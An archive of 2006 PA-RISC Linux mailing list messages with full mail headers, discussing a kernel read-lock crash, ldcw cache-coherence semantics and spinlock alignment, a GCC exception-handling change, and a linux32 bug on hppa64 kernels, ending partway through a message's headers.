List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dWl5cCR9f2I/+IicY2xocyBwdWxlc1ah
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23609

> On Fri, Apr 21, 2006 at 04:30:08PM -0400, John David Anglin wrote:
> > >     101112c4:   e8 1f 1f df     b,l,n 101112b8 <_read_lock+0x8>,r0
> > >     101112c8:   0f 48 10 9c     ldw 4(r26),ret0  <== exception here
> > > 
> > > r26 contains 0x105d62a8 according to Joel's message.  There isn't
> > > a branch in the delay slot.  The exception just occurs in the delay
> > > slot of a branch.  It's not obvious to me what caused the exception.
> > 
> > Correction, r26 contained 0x000000001051d040.  I also just noticed
> > that the branch is nullified (N=1 in PSW).  Just guessing, but I think
> > this is a timer interruption (soft lockup).
> >
> 
> This crashed palinux last night... Same IIR/IASQIAOQ... 

Actually, it's probably just a nice place to crash for the night ;)

Any info on the interruption and what was going on? In Joel's case,
the call was from here:

int
send_group_sig_info(int sig, struct siginfo *info, struct task_struct *p)
{
        int ret;
	read_lock(&tasklist_lock);
	ret = group_send_sig_info(sig, info, p);
	read_unlock(&tasklist_lock);
	return ret;
}

tasklist_lock is used in a lot of places.  send_group_sig_info only
seems to be called in one place from kernel/itimer.c.  It would seem
like there's some situation where the lock isn't getting unlocked,
or it's very highly contended.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Sun, 23 Apr 2006 11:18:51 -0500
Lines: 90
Approved: news@gmane.org
Message-ID: <200604231118.51833.mszick@morethan.org>
References: <200604221648.k3MGm2MW010955@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624065 19091 80.91.229.3 (22 Nov 2014 02:41:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Apr 2006 16:19:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 23 Apr 2006 18:19:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2704C7D73F;
	Sun, 23 Apr 2006 10:19:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10279-08; Sun, 23 Apr 2006 10:19:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D17B17D743;
	Sun, 23 Apr 2006 10:18:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19A657D73C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Apr 2006 10:18:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10279-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Apr 2006 10:18:54 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 2A0B87D737
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Apr 2006 10:18:54 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3NGIsws072880
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Apr 2006 09:18:54 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [69.68.112.196] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id GxI0m1P2
	authenticated by SMTP; Sun, 23 Apr 2006 09:18:53 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604221648.k3MGm2MW010955@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mME+d8sqODBpsLWUfGRMO041Ji9SWtJ5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23610

On Sat April 22 2006 11:48, John David Anglin wrote:
> > On Fri, Apr 21, 2006 at 04:30:08PM -0400, John David Anglin wrote:
> > > >     101112c4:   e8 1f 1f df     b,l,n 101112b8 <_read_lock+0x8>,r0
> > > >     101112c8:   0f 48 10 9c     ldw 4(r26),ret0  <== exception here
> > > > 
> > > > r26 contains 0x105d62a8 according to Joel's message.  There isn't
> > > > a branch in the delay slot.  The exception just occurs in the delay
> > > > slot of a branch.  It's not obvious to me what caused the exception.
> > > 
> > > Correction, r26 contained 0x000000001051d040.  I also just noticed
> > > that the branch is nullified (N=1 in PSW).  Just guessing, but I think
> > > this is a timer interruption (soft lockup).
> > >
> > 
> > This crashed palinux last night... Same IIR/IASQIAOQ... 
> 
> Actually, it's probably just a nice place to crash for the night ;)
> 
> Any info on the interruption and what was going on? In Joel's case,
> the call was from here:
> 
> int
> send_group_sig_info(int sig, struct siginfo *info, struct task_struct *p)
> {
>         int ret;
> 	read_lock(&tasklist_lock);
> 	ret = group_send_sig_info(sig, info, p);
> 	read_unlock(&tasklist_lock);
> 	return ret;
> }
> 
> tasklist_lock is used in a lot of places.  send_group_sig_info only
> seems to be called in one place from kernel/itimer.c.  It would seem
> like there's some situation where the lock isn't getting unlocked,
> or it's very highly contended.
> 
Or the routine is not coded to make the lock instruction observable
by all processors:

> This the read lock I see in vmlinux-2.6.15-rc2-pa1:
>
> 00000000101112b0 <_read_lock>:
>
> 101112b0: 0f 40 15 dc ldcw,co 0(r26),ret0
    <format 5 instruction:  0000011 11010 00000 00 0 1 01 0111 0 11100>
    a==0,s==0,b==26,t==28
    cc==01 Coherent Operation, not a hint but required[1];
           Processor may operate on line in cache rather than update memory[2];

<quote [3]>
If a cache control hint is specified, the semaphore operation may be handled
as if a cache control hint had not been specified, or, preferably, the addressed
word is zero extended and copied into GR t and then the addressed word is set to
zero in the cache. The cleared word need not be flushed to memory.
</quote>;

<quote [4]>
if (cache line is present and dirty || coherent_system || cc != 0) {
    GR[t] <- mem_load(space,offset,0,63,NO_HINT);
    mem_store(space,offset,0,63,NO_HINT,0);
} else {
    Dcache_flush(space,offset);
    GR[t] <- mem_load(space,offset,0,63,NO_HINT);
    store_in_memory(space,offset,0,63,NO_HINT,0);
}
</quote>;

Note that the first block is selected by ((cc == 01) != 00)

The first block describes the operation required for semaphores used
by multiple execution paths on a single processor.

The second block (after the else) describes the operation required
for execution paths on multiple processors.

    [1]: http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,5310,00.html
    [2]: http://h21007.www2.hp.com/dspp/files/unprotected/parisc20/PA_6_inst_overview.pdf; page 13 and table 6-9
    [3]: http://h21007.www2.hp.com/dspp/files/unprotected/parisc20/PA_7_inst_descriptions.pdf; page 74 and 75
    [4]: ibid. 'indivisible', page 75

Next question.

Mike
> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Sun, 23 Apr 2006 12:06:53 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <200604231206.53217.mszick@morethan.org>
References: <200604221648.k3MGm2MW010955@hiauly1.hia.nrc.ca>
	<200604231118.51833.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624066 19095 80.91.229.3 (22 Nov 2014 02:41:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Apr 2006 17:07:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 23 Apr 2006 19:07:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ACF557D765;
	Sun, 23 Apr 2006 11:06:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10839-10; Sun, 23 Apr 2006 11:06:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5019C7D75A;
	Sun, 23 Apr 2006 11:06:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35C317D757
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Apr 2006 11:06:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10946-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Apr 2006 11:06:55 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 510567D752
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Apr 2006 11:06:55 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3NH6utL089866
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Apr 2006 10:06:56 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [69.68.112.196] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id KNN0qRT2
	authenticated by SMTP; Sun, 23 Apr 2006 10:06:55 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604231118.51833.mszick@morethan.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: C41zcWV6bmw7vq2HZzdLS0RHUzc4ctHg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23611

On Sun April 23 2006 11:18, Michael S. Zick wrote:
> 
> Next question.
> 
My bad, that was just plain rude.

The question and the answer:

Multiple processor pa-risc systems with per-processor
caches use a 'cache coherency' trigger.

To trip the trigger (I.E: make the changes observable)

ldcw,co target_address

Where target_address includes the magic byte[0] of 
the cache line.

Translation:

Spin on the ldcw,co not the ldw here.

On the systems with 128 byte long cache lines,
ensure these spinlocks are 128 byte aligned not
64 byte aligned as in this dump.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Bug#364231: exception catching broken on HPPA
Date: Sun, 23 Apr 2006 15:58:09 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20060423215809.GA31392__5615.20958222008$1416624066$gmane$org@colo.lackof.org>
References: <20060422084136.GC22720@mauritius.dodds.net> <200604221522.k3MFMKpi010218@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624066 19097 80.91.229.3 (22 Nov 2014 02:41:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:06 +0000 (UTC)
Cc: Steve Langasek <vorlon@debian.org>,
 steven.robbins@videotron.ca,
 364231@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Apr 2006 21:46:27 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx062) with SMTP; 23 Apr 2006 23:46:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 975E62DE9D; Sun, 23 Apr 2006 16:46:25 -0500 (CDT)
Old-Return-Path: <grundler@lackof.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by murphy.debian.org (Postfix) with ESMTP id 51FAA2DE84
	for <debian-hppa@lists.debian.org>; Sun, 23 Apr 2006 16:46:24 -0500 (CDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 40864360022;
	Sun, 23 Apr 2006 15:58:11 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02256-01; Sun, 23 Apr 2006 15:58:09 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B2AD636001D; Sun, 23 Apr 2006 15:58:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200604221522.k3MFMKpi010218@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2006-04-09_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.1 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <1eogdB.A.IhF.xW_SEB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5278
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 23 Apr 2006 16:46:25 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: +oAqID5oa0Aovr6aejEzMzQ3Njh6dE5i
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23612

On Sat, Apr 22, 2006 at 11:22:20AM -0400, John David Anglin wrote:
...
> I recognized that this was going to cause pain, and brought the matter
> up for discussion on the parisc-linux list a few months ago.  There
> wasn't much in the way of comments for or against.  In the end, I
> decided it was probably better to make the change in 4.1 and let time
> smooth over the difficulties.

You did and I still think it was the right choice. 

thanks,
grant


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#364562: linux32 "doesn't work" on hppa64 kernels
Date: Mon, 24 Apr 2006 08:19:13 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20060424121913.GG19550__7975.64960453219$1416624067$gmane$org@quicksilver.road.mcmartin.ca>
References: <17484.38215.530303.856546@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624067 19100 80.91.229.3 (22 Nov 2014 02:41:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:07 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>,
 364562@bugs.debian.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 12:38:14 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx015) with SMTP; 24 Apr 2006 14:38:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 6417A2DE58; Mon, 24 Apr 2006 07:38:12 -0500 (CDT)
Old-Return-Path: <kyle@quicksilver.road.mcmartin.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca [134.117.69.22])
	by murphy.debian.org (Postfix) with ESMTP id 51DB12DE77
	for <debian-hppa@lists.debian.org>; Mon, 24 Apr 2006 07:19:39 -0500 (CDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6A9785840BF;
	Mon, 24 Apr 2006 08:19:38 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id DC9F65840BB;
	Mon, 24 Apr 2006 08:19:37 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 6FB2523E83;
	Mon, 24 Apr 2006 08:19:37 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19955-08; Mon, 24 Apr 2006 08:19:37 -0400 (EDT)
Original-Received: from quicksilver.road.mcmartin.ca (CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com [70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca", Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 2E3B423E82;
	Mon, 24 Apr 2006 08:19:37 -0400 (EDT)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id F368D3B04F; Mon, 24 Apr 2006 08:19:13 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <17484.38215.530303.856546@gargle.gargle.HOWL>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Rc-Spam: 2006-04-09_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2006-04-09_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.0 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <E3hxUD.A.nFG.0aMTEB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5280
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 24 Apr 2006 07:38:12 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: hP90cWZ6bmw7vq2HZzdLS0RHUzc4chFu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23613

On Mon, Apr 24, 2006 at 11:07:19AM +0200, Matthias Klose wrote:
> Package: linux32
> Version: 1-3
> 
> $ uname -m
> parisc64
> 
> $ linux32 uname -m
> parisc64
>

I spent some time trying to fix this a while ago at Jeff Bailey's
request, but it required nasty invasive changes that I didn't have
time to debug. (It's not really an improvement when /sbin/init fails
to exec...)

If I have some time this week, I'll dust off the diff and see if I can
finagle it to work.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 11:35:48 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200604241535.k3OFZmPJ027261@hiauly1.hia.nrc.ca>
References: <200604231206.53217.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624067 19101 80.91.229.3 (22 Nov 2014 02:41:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 15:36:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 24 Apr 2006 17:36:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 283A07D7A3;
	Mon, 24 Apr 2006 09:36:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22327-06; Mon, 24 Apr 2006 09:36:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C9B47D7A4;
	Mon, 24 Apr 2006 09:36:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A9EE7D7A2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 09:35:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22327-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 09:35:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9D7E87D7A0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 09:35:55 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3OFZoIf027262
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 11:35:50 -0400 (EDT)
